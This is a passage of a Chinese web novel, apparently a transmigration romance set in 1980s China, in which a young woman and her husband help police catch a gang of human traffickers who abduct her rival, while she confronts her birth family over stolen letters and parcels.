沈维舟轻描淡写道:“我可以给你们画一张那个人的素描,你们拿去找目击者辨认一下就知道是不是这个人了,如果是这个人,你们找到朱永齐,或许也就能找到他了。” 说到朱永齐的时候,他看了柳绵绵一眼,柳绵绵马上回视过去:看什么看,朱永齐可跟她没关系。 赵公安真是喜出望外了,马上转身:“我去给你拿纸笔。” 除了拿纸笔,他还去打了个电话请求上级增援,毕竟如果真是同时实施数起犯罪的团伙,犯罪成员绝不会少,这也不是他们一个所能办下来的案子。 要知道就柳锦诗失踪案,他们所里的人已经倾巢而出,就只剩几个领导和后勤了。 赵公安走出房间以后,柳绵绵挪了挪椅子,从和沈维舟并排,变成了面对着沈维舟,她上下打量沈维舟几眼,说:“沈维舟同志,这么重要的事情,你居然都不告诉我?” 沈维舟挑了下眉,反问:“哪件事是重要到值得我特地告诉你的?” 柳绵绵一噎,想说朱永齐和凶狠男人一起的事啊,可话到嘴边又觉得好像不太对。 沈维舟淡淡道:“朱永齐和长相凶狠的男人一起窥视我们?呵,他是什么很重要的人吗?” 柳绵绵被他这一声“呵”给呵得心惊肉跳,莫名心虚,仔细想了想,不太理直气壮地说:“重点是朱永齐吗,重点难道不是有人窥视我们吗?窥视我们,不就是盯上我们了吗,没准医院门口的老太太,还有那个胖子,他们都是一伙儿,他们都想趁我落单,把我也给掳走呢?你不告诉我,我心里也没个防备,万一不小心落入圈套呢?” 一开始还心虚,后面倒是越说越觉得自己有道理了。 想想万一自己稍有疏忽,没准就落入人贩子的手里了,这么一想真是整个人都要不好了。 沈维舟看她一眼,说:“你太谦虚了,就你这警觉性,一般人应该忽悠不了你。” 柳绵绵正想着他这是夸她,还是损他呢,就听见他又说:“再说,这不是陪着你吗,你哪里会落单?” 柳绵绵一怔,忽然想起来午饭后他说什么都要陪着自己去化肥厂,所以他不是为了看热闹,他是觉得朱永齐和那个凶狠男人不对劲,怕她有危险? 说实话,还挺感动的。 虽然她很想说,真要碰见人高马大的犯罪分子,沈维舟这病秧子,战斗力也并不比自己高多少,多一个人没准也就是多一个受害人罢了。 但是不管怎么说,他的出发点应该是想保护她吧? 武力值为零的病秧子,克服身体的种种不适,一整天陪着她,就为了保护她。 有点离谱,但也令人感动。 哎,其实沈维舟也是个好人啊,可惜就快死了,她也没什么好报答他的,等他死了以后,她每年多给他烧点纸钱吧。 柳绵绵幽幽看向沈维舟,眼神流露几许同情与坚定,好歹同床共枕这么些日子,她一定会让他在“那边”也过好日子的。 沈维舟:“???” 总觉得她的眼神怪怪的。 赵公安拿着纸笔进来的时候,觉得屋里气氛有点奇怪,不过人家小两口的事情,他自然不会多问,他将东西递给沈维舟:“我们另外一位同志已经去找那个孩子了。” 沈维舟点头:“我尽快。” 他将纸在桌上铺平,没有任何的停顿和思考,笔直接就落在纸上开始画。 柳绵绵常听刘婶说他躲在书房写写画画,但她知道他平时画的应该都是一些设计图纸、结构图纸什么的。 不过从沈维舟落笔勾勒出一个大致轮廓,柳绵绵就知道,他画人像的水平应该也很不错。 十几分钟后,一张轮廓清晰、极为传神的人物素描由赵公安亲自交到了目击小孩的手里,小孩才看了一眼,就嘴巴一瘪,哇地哭了出来:“是他,就是这个大坏蛋把那个姐姐拖走了啊!” 平时熊得不行的小男孩,一扭头扑进亲爹的怀里:“爸爸,我害怕!” 那就没错了,案情有了重大突破! 赵公安赶忙拿着素描出去安排人复制,又点了两个人去军工厂家属院,核查朱永齐的下落,争取尽快把人带回来。 他这边正忙着,沈维舟又交了一份人像素描给他:“这是我们在医院门口碰见的老太太。” 赵公安接过:“行,这个人我们也会核实身份的。” 笔录已经做过,没什么需要他们帮忙的了,两人问过赵公安后,就准备回去了。 这时候柳绵绵才想起来:“对了,我哥呢?” 事情太多,她把余国梁给忘记了。 所幸很快就在派出所的大厅角落里找到了余国梁,余国梁呆愣愣坐那儿,看到柳绵绵,问:“绵绵,出事的是她吧?” 柳绵绵一怔,反应过来:“嗯。” 严格来说,其实柳锦诗才是余国梁的亲妹妹。只是柳锦诗不愿意回乡下,也拒绝了和余家人见面,表示自己一辈子都只有丁明霞这一个妈妈,所以余家人和柳锦诗并没有见过面。 余国梁叹息了一声:“怎么会出这种事呢。” 柳绵绵一时不知道该怎么回答,沉默几秒,才说:“已经有线索了,相信公安同志应该很快就能把人找到的。” “嗯。” 余国梁点点头,抬头仔细看了柳绵绵一眼,说:“绵绵,刚才那个是你这边的妈吧,她怎么能那么对你说话啊,她,他们都对你不好吗?” 黝黑憨厚的汉子紧紧皱着眉头,声音里有着不解:“他们那么着急忙慌地把你认回去,怎么又对你不好呢?” 茫然,疑惑,还有些心疼。 满以为老幺是来城里过好日子了,可哪想她亲妈是这个态度。 柳绵绵鼻尖一酸。 第23章 怀疑自作自受 派出所里人进进出出,几乎个个都忙得脚打后脑勺。柳绵绵他们,包括余国梁都已经做完笔录,能提供的线索也都提供了,算是履行了公民应尽的职责,于是就准备走了。 他们走到门口时,丁明霞再度冲了过来:“柳绵绵,你做人不能这么自私,你怎么能见死不救,你明明有能力帮锦诗的,你不能这么狠心呐!” 她想去抓柳绵绵,被走在柳绵绵身旁的沈维舟轻轻一拨,就给拨开了。 丁明霞一愣,来不及细想,再度冲上去,这回却被余国梁拦住了。这种蓬头垢面的乡巴佬,丁明霞哪里会看在眼里,她柳眉一竖,骂道:“哪里来到要饭的,长眼睛不会看路的吗?” 柳绵绵看她这副作态,心说原来真实的丁明霞是这样的。还别说,丁明霞和柳锦诗这对母女,是真的感情挺深,柳锦诗被掳走,逼得丁明霞原型都暴露出来了。 余国梁怒目而视:“你就是绵绵的亲生母亲?你当初电话里怎么和我妈说的,你说两个孩子你都会好好养的,你还说你这个亲妈怎么都会好好待绵绵的,结果呢,你就是这样好好待她的?!你不想要这个女儿,我们余家要!” 丁明霞怔住了,半晌才说:“我哪里对她不好,我供她吃供她穿,还给她找了那么好的婆家,我还把那么多彩礼钱都还她了呢!” 她突然反应过来,抓住余国梁:“你是余家人?!你刚才听见了吗,锦诗被人掳走了,她是你亲妹妹啊,你让柳绵绵帮着找找她,找找她,不然她怕是要受苦啊呜呜呜……” 余国梁皱眉:“我一个乡下人也知道,公安是公安,部队是部队,你让部队去干公安的事情就是胡搅蛮缠。你让绵绵去做胡搅蛮缠的事情,她不做你就骂她自私白眼狼,我看你才是自私白眼狼。” 丁明霞还待再说:“你……” 柳绵绵打断她:“丁女士,我给你介绍一下,这是我大哥余国梁,家里写信、寄东西、跑外地这种事情都是他在做,所以面对他,你是不是应该还有其他一些话要说呢?比如,他之前写给我的信,为什么我一封都没有收到,比如,他之前寄给我的东西,为什么我一次都没有收到。” 她淡漠看着丁明霞:“私拿信件、偷拿包裹,都算偷窃行为,正好咱们现在就在派出所,是不是需要公安来帮忙查一查?” 说着,她冷冷瞥了应晓芬一眼,看到对方脸色一僵,柳绵绵嘲讽地勾了勾唇,看来这事柳家其他人都是知道的,只是瞒着原主一个人而已。 余国梁震惊不已:“老幺,之前家里寄的东西你都没收到啊?” 他看向丁明霞的眼神,简直跟看什么老妖婆似的,怎么都没想到,城里人心眼这么多啊,还能干出这种事来。 想了想,余国梁急道:“老幺,那妈给你们打的红围巾,你也没收到?!咱们省吃俭用攒下的腊肉你也没吃到?!” 柳绵绵嘲讽地笑了下:“两条红围巾,柳锦诗一条,大嫂应晓芬一条,她们说是一起在供销社买的,供销社卖完了,我想买也没有了。” 余国梁骂道:“怎么这么不要脸呢!” 柳绵绵轻飘飘道:“是啊,怎么这么不要脸呢。” 原主的确不是什么好人,但是至少她从没做过什么坑害柳家人的事情,相反,她一直都在试图讨好、融入这个家庭。 丁明霞是急疯了,前面根本没有想起这件事,或者说,在她心里,并不觉得这是什么大不了的事情,现在被柳绵绵揭穿,她嗫嚅了下,开口想为自己辩解,却再次被柳绵绵打断。 “千万别说什么怕我惦记原来的家这种鬼话,说出来你自己信吗?”柳绵绵冷嗤了声,“欠债还钱,天经地义。我看公安同志都挺忙,也不用麻烦他们了,丢失物品加上精神赔偿,你们赔两百块钱给我大哥。” 原主已经不在了,这个赔偿只能赔偿给余家人。 听到两百块钱,应晓芬忍不住了:“柳绵绵,你怎么不去抢呢,就那么一点菌子腊肉,两条破围巾,你要两百?”二十都顶天了。 应晓芬其实不想和这个嫁入高门的小姑子起冲突,但是两百块钱真不是什么小钱,这家里就柳永捷一个男丁,家里的钱将来可都是他们的。 柳绵绵轻挑了下眉:“你要不想赔,那就让公安来解决,偷东西的,该抓抓,该判判,该撸工作的撸工作,到时候你就知道两百值不值了。” 她无所谓地说:“我反正闲着没事,天天可以去军工厂、纺织厂和家属院反映情况,相信亲妈亲嫂子偷信偷东西这种八卦,应该不少人都感兴趣。” 别说厂里人感兴趣了,他们这边一争执起来,几个刚被逮进来的混子都伸长了脖子往他们这边看。 应晓芬跟被掐住脖子的鸭子似的,再发不出一点声音。 她知道这个小姑子没脸没皮,是什么都做得出来的。真要被她闹到单位去,她在单位还怎么做人? 应晓芬这样,就更不用说丁明霞了,丁明霞是最在意名声和形象的。 别看她今天在派出所“原形毕露”,那是因为这里没有熟人,而且她知道作为受害人家属,她过分一点也没有关系的,别人只会体谅她这个做母亲的心急如焚才会那么失态。 但如果闹到厂里,丁明霞一想到要被人戳着脊梁骨指指点点,她就感觉要活不下去了,更何况,真要闹起来,她家老柳想再往上一步就更不可能了。 丁明霞突然哭出了声:“绵绵,我是你亲妈啊,我就是怕……” 想说就是怕柳绵绵和养父母太亲热,想起柳绵绵让她不要说这些屁话,噎了半天,只好说:“我就是一时想左了。” 柳绵绵再再再次打断她:“你知道是自己想左了就行,你回去把钱交给蒋红梅,让她带给我就可以了,其他的不用说了。” 见丁明霞还想再说,她直截了当:“再说一句,我直接去厂里发传单。” 丁明霞也像被掐住脖子的鸭子,再发不出一点声音。 直到三人走远,丁明霞才一屁股坐在长椅上,哭道:“冤孽啊,她怎么能这样对我,早知道当初……” 应晓芬忍不住埋怨:“妈,你今天就不该让她帮忙找锦诗。”要不是婆婆一而再再而三拦着柳绵绵,让她帮忙找柳锦诗,又哪会激怒柳绵绵,惹出这么多事情来? 丁明霞哭声一顿,抬头瞪住应晓芬:“你什么意思?” 应晓芬撇撇嘴,没吭声,心说婆婆也是奇了怪了,对亲生女儿没什么感情,对柳锦诗倒是真挺有感情,瞧着怕是亲儿子都比不上。 余国梁还要回化肥厂门口排队,柳绵绵本想喊他一起回求知巷吃个饭,他坚决不同意,说是他们一起来的三个人是轮班的,他不在另两个人怕是吃不消。 柳绵绵于是也没勉强,去附近的国营饭店买了些馒头和菜给他送了过去,装菜的饭盒还是她押了钱跟国营饭店的人借的。 “我们带了干粮咸菜,有的吃的。”余国梁看到纸袋里雪白喧软的馒头,还有饭盒里的红烧肉、芹菜炒豆腐干,忍不住咽了下口水,不过还是把东西往外推,“你们拿回家去吃。” 柳绵绵把东西推回他怀里:“大哥,我找着工作了,在西餐厅当钢琴师,一个月能挣不少呢,你好不容易来一趟南城,我请你吃几顿饭总是应该的吧?” 余国梁茫然问:“西餐厅?钢琴师?” 柳绵绵瞥一眼不远处的沈维舟,说:“是啊,咱们原来公社学校不是有一台旧风琴吗,有个下放的老师弹琴很厉害的,我跟着他学过一阵。钢琴和风琴不太一样,不过他那时候也在纸上画了琴键教过我,所以我勉勉强强也会的。就是人家吃饭的时候弹个琴,也不用多厉害,我这水平正好马马虎虎。” 原主手长得好,那位老师惜才,确实教过她一阵子风琴,但原主不是个有定性的,很快就放弃了。 余国梁隐约记得好像有这么一件事,他自然不知道原主究竟什么水平,更不知道风琴和钢琴的区别,只想着当初胡乱学的一样“本事”,竟然就能在南城找到个不错的工作,他很替老幺高兴。 自己有个工作,不用和婆家伸手要钱,腰杆子硬,日子才能过得舒坦。 知道柳绵绵自己能挣钱,不是用婆家的钱去国营饭店买的饭菜,余国梁感觉心理压力小了许多,不过还是从兜里掏了一张小心折好的大团结出来:“大哥哪能花你的钱,你的工资自己攒起来,这钱拿着。” 柳绵绵虎着脸:“哪来这么多话,你赶紧吃,不吃下回不要给我写信,也不要给我寄东西了。” 说着唰地转身:“我先走了,回头空了再来看你。” 余国梁举起的手停滞在半空中,无奈地叹了口气:“这小姑奶奶脾气。” 旁边乡里一起来的同志笑道:“有热乎的馒头红烧肉吃还不好,你妹子这是心疼你呢。” 余国梁顿时憨憨地笑了起来,把馒头拿出来分了对方一个,又把饭盒放到中间:“咱们一起吃,吃饱了才有力气。” 他看了眼越来越长的队伍:“还不知道什么时候才能买到化肥呢。” 柳绵绵和沈维舟走到最近的站点等公交,临近下班高峰期,站台上人群挨挨挤挤,柳绵绵观察着周围的人,默默往沈维舟身边又蹭过去一点,悄声说:“你说还有没有人跟踪我们?” 她眼睛骨碌碌转,小心翼翼观察四周,感觉周围每个人都不像好人。 沈维舟差点被她的样子逗笑,他忍不住说:“我以为你不怕?” 柳绵绵抬头看他一眼,满脸都是“你在说什么胡话”:“我怎么可能不怕?你仔细捋捋,如果老太太、凶狠男和胖子都是一伙儿的,那他们就算不是一直跟着我们,至少也是分段跟着我们了,不然胖子怎么可能会在化肥厂门口出现?我们平时又不去化肥厂。你想想,如果真是这样,是不是挺恐怖的?” 沈维舟想了想,觉得站在柳绵绵的角度,应该确实挺恐怖的,于是他点了点头。 柳绵绵又往他身前蹭了蹭,声音也更轻了:“如果我们的推测是真的,我怀疑柳锦诗会被掳走,可能是她没安好心,自作自受。” 沈维舟深深看了她一眼。 “蒋红梅和我说,柳锦诗找过朱永齐,挑拨他到求知巷和军区大院闹事,给我泼脏水,破坏我名声。但这段时间朱永齐根本没出现。” 柳绵绵边捋着思路边说,“朱永齐也没那么傻,他跑到求知巷和军区大院闹事,未必能有好果子吃。而且,我之前也听说他经常和一些不三不四的人来往,没准他就是觉得与其闹事,还不如和人贩子合作。柳锦诗自己舞到他面前去,人家自然就把她列入目标了。” 其实是她想起来,原书中原主最后也是被朱永齐卖掉了的。 柳绵绵原本以为朱永齐是去了南边,才和人贩子团伙勾搭上的,但如果,其实他一开始就认识人贩子团伙的人呢? 别看朱永齐是个混混,他其实还是个有理想的混混,他一直都想去南边挣大钱,出人头地以后衣锦还乡,打脸那些曾经看不起他到人。 只是不管是去南边,还是挣大钱,都是需要资金的。 原本朱永齐把原主作为资金来源,她穿过来以后,原主这个“血包”啪地凭空消失了,朱永齐知道自己从她身上弄不到钱,或许就决定铤而走险和人贩子合作了? 一个也是拐,两个也是掳,反正要动手,就干脆多弄几个。 作为熟知原书剧情的穿越者,柳绵绵觉得自己可能猜得八九不离十了。 她想得入神,没注意到自己蹭着蹭着,已经离沈维舟很近很近了。 而就在这时,公交车来了,周围的人轰地一下挤了过去,撞得柳绵绵脚步不稳,整个人被带得一下子撞进了沈维舟的怀里。 柳绵绵感觉到沈维舟整个人都僵了一下,手好像下意识把她往外推了一下,随后又马上兜着她的脑袋往他怀里重重按了过去,带着她往后退了两步。 鼻息间满满的都是有点熟悉的清冽的味道。 “唔唔唔……” 柳绵绵下意识挣扎了一下,很快,沈维舟放开了她。 “有个人手里的东西差点磕到你脑袋。”同时,沈维舟为自己的行为作出了解释。 柳绵绵摸了摸自己躲过一劫的后脑勺,不知道该说什么,最后发出个毫无意义的“啊”。 “走吧,上车。” 沈维舟示意柳绵绵先上车,他跟在柳绵绵身后。 哪怕心里觉得沈维舟病怏怏的没什么武力值,但是这时候有他在身后,柳绵绵还是觉得安心不少。 不是真的怕有人会突然冲出来把她掳走,而是那种被人盯上、被人在阴暗处窥视的恐惧,会让人觉得没有安全感。 别看人多,车上居然还留了几个空位。 柳绵绵在靠窗的位置坐下,沈维舟就坐在她外侧,他问她:“你刚才想说什么?” 刚才? 柳绵绵回忆了下,脸上莫名有点热,他说的应该是自己被他抱住的时候吧,但是她竟然也已经忘记了当时想要说什么。 她摇摇头:“没什么,大概是不能呼吸了什么的吧。” 想到她不能呼吸的原因,沈维舟表情微滞,他清了清嗓子,点点头,转而说:“南城公安系统力量配备很强,人贩子肯定会被抓住的,其中的来龙去脉,等公安抓到人以后都会审问清楚的。我们已经尽到义务,后面的事情都交给公安吧。” 这是回应她之前对柳锦诗的猜测了。 柳绵绵侧头看了他一眼,叹息:“如果真是我猜的那样,只能说是因果循环报应不爽了。” 沈维舟忽然从衣兜里掏出个黝黑小巧的东西,递到她面前:“这是报警器,摁一下中间的按钮,它会发出比锣响好几倍的声音。” 柳绵绵盯着眼前小巧精致的警报器,不敢相信这玩意儿能发出比锣还响好几倍的声音。 她被转移了注意力,接过报警器,捏在手上看了看,跃跃欲试:“真比锣还响?” , 沈维舟抓住她想要试试的手:“别动!响起来这一车的人都受不了。” “这么厉害吗?” 柳绵绵略有些遗憾地说,“好吧,我不摁。” 她被抓着有些不舒服,手指不禁在沈维舟掌心动了动,提醒:“你可以放开我了。” 一股酥麻的痒意从掌心一直蹿到四肢百骸,沈维舟慌忙放开手,甚至整个人都往外挪了挪。 柳绵绵:“……” 同一时间,城区某个不起眼的大杂院里。 潮湿逼仄的地窖里,柳锦诗幽幽醒转,睁开了眼睛。 第24章 抓到了 空气中满满都是让人窒息的、潮湿而难闻的味道,柳锦诗喉咙发痒,忍不住剧烈地咳嗽起来。 吱呀一声,地窖顶部的小木门被打开,有人探头看了看,骂了声:“妈的又醒了,这回的麻药效果怎么这么差!” 不过,他显然也没有下来给柳锦诗补上麻药的打算,只是威胁说:“老实点,不然老子下来宰了你。” 啪地,门又关上了。 柳锦诗在黑暗中挪动了一下,她手脚都被绑住了,想坐起来非常困难,试了几次都没有成功,最后只能放弃。她想哭喊,想骂人,喉咙火辣辣地疼,最后只发出了几个嘶哑的音节。 睁着眼睛,却什么也看不见,恐惧从骨髓里渗透出来,让她的身体不受控制地发抖。 她现在非常后悔,后悔自己为什么要听朱永齐这个混子胡说八道,为什么这么没有警惕心,竟然会跟着他进入那条没人的小巷,后悔之后,就是恨,恨这一切的始作俑者柳绵绵。 如果柳绵绵没有被认回来,如果柳绵绵没有和朱永齐来往,如果柳绵绵没有在沈维鸿面前戳破她……她又怎么可能会搭理朱永齐,怎么可能会出事? 但是现在悔恨也没有用了,她身陷囹圄,插翅难飞。想到自己可能面临的未来,柳锦诗害怕地哭出了声音。 也不知道过了多久,可能很久,也可能很短,柳锦诗已经无法判断。地窖的小木门再次被打开,一个梯子放下来,魁梧的男人一手抱着麻袋一手抓着梯子,爬进了地窖。 男人在墙上摸索了下,啪地,一个昏黄的灯泡亮了起来。 他看向柳锦诗,见她躺在那儿一动不动,伸脚重重踢了两下,踢得柳锦诗闷哼了一声,他才啧地一声,嘀咕:“可别装死,死了就不值钱了,麻袋一套给你喂狗去。” 柳锦诗吓得抖了一下。 男人把他带来的麻袋解开,从里面像拖猪崽一样拖出个人。 柳锦诗眯着眼睛,恍恍惚惚中,看到那人一头过肩卷发,身上那件猪肝红的上衣看着非常熟悉,她一直看着那人,终于从凌乱的头发间看清这个人的五官。 柳锦诗一下子睁大了眼睛。 地窖上方突然传来一阵杂沓的脚步声,随后一个声音愤怒低吼:“钱老二,你特么的王八蛋,你真是想钱想疯了,你特么神经病,你掳谁不好,你干嘛把我妹妹掳来?!那是我妹,我唯一的亲妹!” 听到这个声音,柳锦诗“呜呜呜”地低叫起来。 是朱永齐,是朱永齐这个王八蛋! 地窖上方响起了另一个人的声音:“你答应好的至少两个货,现在我们只搞到了一个货,另一个还把我们的人给弄进去了,你说怎么搞?” “亲妹妹怎么了,呵呵,做我们这行的,谁没搞过身边的亲戚朋友?最好搞的就是亲戚朋友。哦,不对,最好搞的是自己的娃。你问问钟婶,她闺女去哪儿了,她孙女儿去哪儿了?哈哈哈哈哈。” 上面很久都没有动静,直到钱老二再次开口:“行了,咱们一起喝一杯去。这两天公安查得紧,咱们就先避避风头,等过两天找个合适的时间,一车子把这些货都拉走,到了广市,哥哥带你吃香的喝辣的去。” 随后,钱老二扒着地窖口喊了声:“吴老三,你在底下做什么呢,我跟你说,你可别乱来,回头卖不了好价钱,老子削死你!” 吴老三嘴上应了一声,不太情愿地把放在女人胸脯上的手收了回来,骂骂咧咧的,路过柳锦诗身边时,弯腰在她屁股上摸了一把,在柳锦诗发出噫噫呜呜的声音时,又狠狠踢了她一脚:“老实点。” 他爬上梯子出了地窖,小木门再次被关上,但地窖里依然有着昏黄的亮光。 吴老三忘记关灯了。 柳锦诗泪流满面。 屈辱,恐惧,悔恨,像潮水一样淹没了她。 “哭哭哭,哭有个屁用。”朱美琪小声说,“你有我惨吗,我是被亲哥哥骗出来的,妈的,朱永齐这个王八蛋,天打五雷轰的断子绝孙的玩意儿,他居然跟人贩子搞在一起,他居然要把亲妹妹给卖了!” 说着说着,朱美琪也忍不住哭了起来:“我听说人贩子拐的姑娘,会被卖到最穷最穷的山沟沟里,一户人家五个兄弟,就买一个姑娘当老婆。这都还算好,有的还会被卖到窑子里去,每天和几十上百个男人做。朱永齐你个王八蛋,你不是人哇——” 地窖的小木门突然再次被打开,朱美琪的哭声戛然而止,从柳锦诗的角度,能看到她一边流泪一边死死咬着嘴唇。 吴老三在小木门边骂骂咧咧,拿了根木叉子勾了半天,终于勾灯绳,啪地,灯灭了,小木门再度阖上,地窖里回归一片漆黑。 只余下压抑的、嘶哑的哭声。 三天过去,公安还没有找到人。 “朱永齐、朱美琪都不见了。这俩人平时就到处混,根本没人注意他们的去向。”蒋红梅边吃着小馄饨边说,“你妈天天在家哭,白天还好一点,夜里她也哭,鬼叫似的,瘆人得不行。” 蒋红梅天天一大早就往求知巷跑,一开始还老老实实坐在院子里嗑着瓜子等柳绵绵起床,后来变成跑去敲东厢房的门,再后来就变成直接跑进屋把柳绵绵从床上挖起来了。 这不,甚至都混上了刘婶亲自烧的小馄饨了。 “这伙人是老手,犯罪经验丰富,怕是没那么好找。”柳绵绵嫌烫,捏着汤勺轻轻吹气,“这年头找人太难了。”路上连个摄像头也没有,线索全靠排查和举报。 蒋红梅自动理解成另一个意思:“可不是,换了十几二十年前,出门都要介绍信,一个院子里住了几个人,邻里之间清清楚楚。现在不一样,知青回城的,农民进城的,很多院子都有外地的租户。” 不过这么说也对。 总归相比十几年前或者是几十年后,这年头都是抓坏人比较难的时候。 柳绵绵记得上辈子自己小时候经常看新闻说,找到了多少年多少年的逃犯,应该就是各种技术手段进步后的成果了。 柳锦诗被掳走的事情,在军工厂家属院已经传遍了,最近家属院里的女人孩子出门都少了。因为听说里面可能还有朱永齐的事,家属院那几个平时不学好的混子,现在成了过街老鼠,不管是自己家里还是左邻右舍,都一律拿怀疑的有色眼光盯着他们。 蒋红梅也受了不小的刺激,毕竟她家和柳家是隔壁邻居,和柳锦诗可以说每天抬头不见低头见的。 那些传闻中的谁谁谁被拐走了,变成了身边每天会见到的人被拐走了,这种感觉还是很不一样。 想想都要后背发凉。 不过蒋红梅到底比别人知道得要多一些,联系之前自己听见看见的,蒋红梅其实也把来龙去脉猜了个八九不离十。 柳锦诗想撺掇朱永齐去给柳绵绵泼脏水,哪料到是与虎谋皮,把自己给搭进去了。 一个两个都不是什么好东西。 和这样的人一个院子住着,想想真是不寒而栗。 “算了,不说他们了,都不是什么好东西。”蒋红梅换了个话题,“瑕疵品的事我已经跟人谈好了,统共一千块钱的货,我手头能凑到三百,你再给我七百,到时候利润也是三七分。” “不用,两百算我借你的,咱们五五分。”柳绵绵摆摆手,阻止蒋红梅说话,“货源是你找的,到时候主要也是你负责销售,三七分等于你免费帮我打工了。” 她小口小口喝着鲜甜的馄饨汤,无所谓道:“我不差这一点钱。” 蒋红梅一噎,看看眼前装修考究的餐厅,根本无从辩驳。 人家自己能挣钱,婆家也有钱,确实不差这仨瓜俩枣的。 “行,那你要一起去赶集卖货,我再给你算工钱。”蒋红梅也是爽利的性格。 柳绵绵想了想,说:“还是等人贩子都抓到了再去卖货吧。”她可不想在集市上被人抓着说是他媳妇儿,然后一团混乱地被带走。 蒋红梅抽了抽嘴角:“行。” 据说人贩子三番两次找上她都没把她忽悠上钩,要是人人都有这警惕性,公安也不用天天加班全城找人了。 不过被柳绵绵这么一说,蒋红梅其实也有点怵,她是有点泼辣强势的性格,但是这是从正常人的角度来说,吵个架干个架什么的她都不怕,可要是对方是人贩子团伙,她还是很害怕的。 别看她天天往求知巷跑,稍微没人点的地方她都不敢去,路上也不敢和任何陌生人搭话。 蒋红梅琢磨了一下,觉得还是听柳绵绵的,别回头钱没挣到,反倒是把自己给搭进去了。 啧,这人贩子还影响到她们挣钱发财了。 其实不止她们,南城但凡听说过这件事的人最近都小心谨慎了不少,尤其一些小年轻,平时出门都少了,颇有点人心惶惶。 公安自然压力也很大,像林哲他们所的,都抽调了不少人去支援。特别是经过排查之后发现,失踪人口远不止柳锦诗,还有另外的两个女同志和三个孩子,公安这边更是加班加点地调查。 幸好他们也不是完全没有线索,他们手里有沈维舟提供的人像素描,还有一个疑似人贩子团伙成员的胖子。 几天后。 天蒙蒙亮,一阵急促的敲门声打破了宁静,刘婶边穿着外套边走去门边开门:“哦哟,到底是谁呀,这么一大早的,待会儿把维舟和绵绵都吵醒了。” 院门打开,蒋红梅扶着自行车站在外面,看见刘婶,马上激动地喊:“刘婶,人贩子抓到了!” 刘婶懵了一下,随即也激动起来:“人抓到了?!” 蒋红梅微微喘着气,点头说:“凌晨抓到的,刚才公安过来通知柳家人,我听见就赶紧过来报信儿了。” 刘婶神情复杂道:“柳家那姑娘找回来了?” 她是知道的,柳家那姑娘不怀好意,想给柳绵绵泼脏水,很可能还是商量坏事的时候被人掳走的。 被人贩子掳走是惨,可这姑娘也着实不是什么好人。 明明占了绵绵的身份,在城里过了二十来年的好日子,不觉得亏欠,反倒还要陷害绵绵,真是黑心肝哦。 “公安没把人送回来,说是人送去医院了,遭了不少罪,得在医院治疗一段时间。还说这段时间也要配合调查。”蒋红梅表情微妙,“我悄悄听了一耳朵,公安还仔细询问了柳家的人员构成,问了柳锦诗和绵绵的关系,还有平时相处是否有矛盾什么。” 第25章 离谱的流言 柳绵绵听见声音起来,揉着眼睛看天,东边的天空一片橘红的朝霞。才几点啊,仔细想想,这还是她穿过来以后头一回看到朝霞呢。她打着哈欠,无语道:“你可真有兴致。” 蒋红梅也无语:“这么大的事情,你就一点不好奇,一点不激动?” 柳绵绵:“好奇什么,好奇人贩子,还是好奇柳锦诗,都不是什么好东西,我是太闲了吗,我好奇他们?” 别说,还挺有道理。 蒋红梅一噎:“你就说你想不想听吧。” 柳绵绵笑眯眯:“听呀,你快说,快说。” 蒋红梅:“……” 她把对刘婶说的那些话重复了一遍,还加上了自己的猜测:“按理这事跟你没关系,公安问你做什么,还调查你们有没有什么矛盾,肯定是朱永齐交代了什么。哦,对了,我刚出来的时候顺便去朱永齐家看了,公安也去了他家,听他家邻居说,他妹妹朱美琪也找到了,也是被人贩子抓去的。” “朱永齐可真不是人啊,自己亲妹妹都坑。”蒋红梅打量柳绵绵两眼,忍不住说,“我瞧你也不傻啊,怎么会和朱永齐这种人来往?” 柳绵绵看她一眼:“家属院里人人说我是土包子,还说我东施效颦,一个个的都不爱搭理我,只有他嘴巴甜,天天说我漂亮能干。” 蒋红梅心虚地摸了摸鼻子,她虽然没有说过柳绵绵土包子,但其实内心曾经也是这么想的。 不但是土包子,还是个傻子。 一抬眼,正好看见沈维舟从东厢往餐厅走。 蒋红梅挤眉弄眼,悄声:“被他听见了。” 柳绵绵扭头看一眼沈维舟,回想了下,觉得没什么问题:“朱永齐确实嘴巴挺甜的,这是事实啊,这有什么不能说的。不过这也不能改变他是个人渣的事实。” 沈维舟脚步顿了下,随即若无其事进了餐厅。 满足完好奇心,柳绵绵不想再提那两个人,转而和蒋红梅商量起赶集卖货的事。蒋红梅一大清早地跑过来,传消息是一方面,另一方面,自然是人贩子抓到了,她们可以去卖货赚钱了。 几十年后网购盛行,平时各种超市、商店里也货物充盈,农村大集其实已经没什么意思了。柳绵绵上辈子在同学的家乡赶过一次集,商业氛围很浓,却少了点乡土韵味,感觉一般般。 她曾经听爸妈说过,早年的赶集很有意思,在物质不那么丰富的年代,集市上的每一样都东西,哪怕是一根红头绳,一串糖葫芦,都让人向往不已。 柳绵绵挺有兴致的,和蒋红梅两个人商量了半天,决定这个周末就去赶集。 南城郊区几个乡镇集日不同,这个周末刚好是怀平乡的集市日,且蒋红梅的小姨就嫁在怀平乡,有个本地人照应总归是好的。 不过,在这之前柳绵绵准备先去一趟军工厂家属院。 那天在派出所说好的两百块钱,丁明霞一直也没交给蒋红梅,柳绵绵琢磨着见日不如撞日,就今天吧。 吃完早饭柳绵绵和蒋红梅一起回军工厂家属院。 今天家属院里可热闹了,除了上班上学的,平时在家遛娃不上班大爷大婶,都从家里出来了,三三两两地凑在五号楼楼下说悄悄话,时不时地还要看一眼柳家所在的二楼。 看见柳绵绵过来,邻居文大妈好奇问:“小柳啊,是听说锦诗找着了回来看看吧?哎哟,赶紧上楼吧,你妈这阵子天天哭天天哭,现在可算是守得云开见月明了。” 柳绵绵不置可否:“嗯,回来看看。” “哦哟,锦诗这次可是遭罪了,被人贩子关了这么多天,也不知道怎么回事嗷。”有个大妈话里有话地说。 柳绵绵看向她,严肃道:“就是被人贩子关着,还能怎么回事?再说了,这件事里面,受害人怎么遭受伤害不是重点,他们遭受了伤害,人贩子应该受到惩罚才是重点。毕竟谁家都有女人孩子,谁又能保证自己家里不会被人贩子盯上呢?” 被人贩子绑走的,并不止柳锦诗一个,而且,柳锦诗也不是最后一个。 柳绵绵并不想看到,受害者被解救回家后,还要遭受周围人的揣测和猜疑,从而受到二次伤害。 这话她不是为柳锦诗说的,是为了其他受害人说的。 那个大妈被柳绵绵严肃的眼神盯得有些心虚,嘀咕了声“我哪有这个意思”,默默扭头,不再吭声。 等柳绵绵和蒋红梅走进楼道,大妈们马上又窸窸窣窣地蛐蛐上了,只不过话题从柳锦诗转到了柳绵绵。 